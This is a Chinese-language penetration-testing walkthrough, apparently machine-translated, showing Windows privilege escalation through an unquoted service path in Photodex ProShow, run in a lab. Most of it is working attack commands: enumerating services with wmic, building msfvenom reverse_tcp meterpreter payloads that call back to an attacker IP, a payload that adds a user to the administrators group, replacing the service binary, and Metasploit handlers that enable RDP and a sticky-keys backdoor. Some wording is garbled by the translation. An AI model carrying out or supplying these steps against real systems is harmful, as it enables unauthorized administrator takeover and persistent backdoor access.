导语:在本文中,我们将通过Unquoted service Path演示Windows权限提升。在渗透测试中,当我们将命令shell作为本地用户生成时,是无法检查受限文件或文件夹的,因此我们需要升级权限才能获得管理员访问权限。
在本文中,我们将通过Unquoted service Path演示Windows权限提升。在渗透测试中,当我们将命令shell作为本地用户生成时,是无法检查受限文件或文件夹的,因此我们需要升级权限才能获得管理员访问权限。
主要内容:
1.介绍
2.实验环境
3.使用Spawn命令shell作为本地用户
4.通过Prepend-migrate升级的权限
5.通过添加用户管理员组升级的权限
6.通过RDP和Sticky_keys升级的权限
下面正式开始!
介绍
不带引号的服务路径漏洞
该漏洞与文件名中包含空格的可执行文件的路径相关,文件名未包含在引号标记(“”)中。此外,如果它具有可写权限,则攻击者可以用其恶意exe文件替换可执行文件,以便升级管理员权限。
实验环境
受害者的机器:Windows 7
攻击者的机器:Kali Linux
首先,我们在Windows系统中下载并安装一个名为photodex proshow的漏洞应用程序,我们可以在Exploit DB下找到了它。
接下来我们向受害者的机器进行初次攻击,我们需要至少对Windows机器进行一次妥协才能获得计时器会话。如你所见,我们已经有受害者的metrepreter会话。现在让我们从这里打开命令shell。
正如您所看到的,我们将shell访问作为local_user,并以管理员身份获取cmd,我们需要升级其权限。首先,我们可以枚举受害者机器上运行的所有服务,并通过以下命令发现那些没有限制在引号标签内的服务:
wmic service get name,displayname,pathname,startmode | findstr / i“auto”| findstr / i / v“c:\ windows \\”| findstr / i / v“”“
所以我们列举了以下路径:C:\ Program Files \ Photodex \ ProShow Producer \ Scsiaccess.exe,你可以看到路径周围没有引号标签,文件名中也没有空格。
现在让我们使用以下命令识别文件夹权限:
icacls Scsiaccess.exe
正如您所看到的,它对每个人都有可写权限,这意味着用户raj可以覆盖此文件。
通过Prepend-migrate升级的权限
现在我们可以将任何恶意exe文件放在同一文件夹中,当重新启动服务时,该文件将赋予管理员权限,Windows将启动此可执行文件而不是正版exe。
在kali Linux中打开终端并输入以下命令以使用msfvenom生成exe有效负载。
msfvenom -p windows / meterpreter / reverse_tcp lhost = 192.168.1.107 lport = 1234 prependmigrate = true prepenmigrateprocess = explorer.exe -f exe> /root/Desktop/scsiaccess.exe
上面的命令将在桌面上创建恶意exe文件,现在将此文件发送给受害者。如果当前进程被杀死,有效负载将迁移其进程;因此,如果受害者从其系统中杀死有效载荷的当前进程ID,攻击者将不会丢失其会话。
现在从恶意exe替换正版可执行文件,在这里我已经将Scsiaccess.exe真正重命名为Scsiaccess.exe.org并将恶意Scsiaccess.exe上传到同一个文件夹中,然后重启受害者的机器。
move scsiaccess.exe scsiaccess.exe.orginalupload /root/Desktop/ scsiaccess.exereboot
同时我们在新终端中启动多/处理程序侦听器以使用管理员权限捕获meterpreter会话。
use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit
好的,过一段时间后,我们就获得了具有管理员权限的shell。
通过添加用户管理员组升级的权限
在将shell生成为local_user之后,我们枚举了具有或不具有管理员权限的所有用户名列表。所以我们找到了用户:raaz不是admin组的成员。
net usernet user raaz
所以我们再次生成了一个exe文件,它将用户:raaz添加到管理员组中。我们的exe文件的名称将是相同的,即Scsiaccess.exe
msfvenom -p windows / exec CMD ='net localgroup administrators raaz / add'-f exe> /root/Desktop/scsiaccess.exe
现在重复上述步骤,从applesi中替换正版可执行文件
如果您注意以下图片,就会发现用户raaz已成为Administrators组的成员。
通过RDP和Sticky_keys升级的权限
使用类似名称Scsiaccess.exe的msfvenom生成exe,然后转移到受害者的机器,同时使用自动运行脚本运行多处理程序,一旦服务重新启动,将启用RDP服务。
use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit
同样,我们将设置自动运行脚本,以便在服务重新启动后启用sticky_keys。
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run
从下面的屏幕截图中可以看出,另一个具有管理权限的计时器会话(会话3)已经打开。现在让我们通过RDP连接到受害者的主机。
rdp 192.168.1.101
好了!现在连续按下shift_key 5次,您就可以以管理员身份来获得命令提示符了。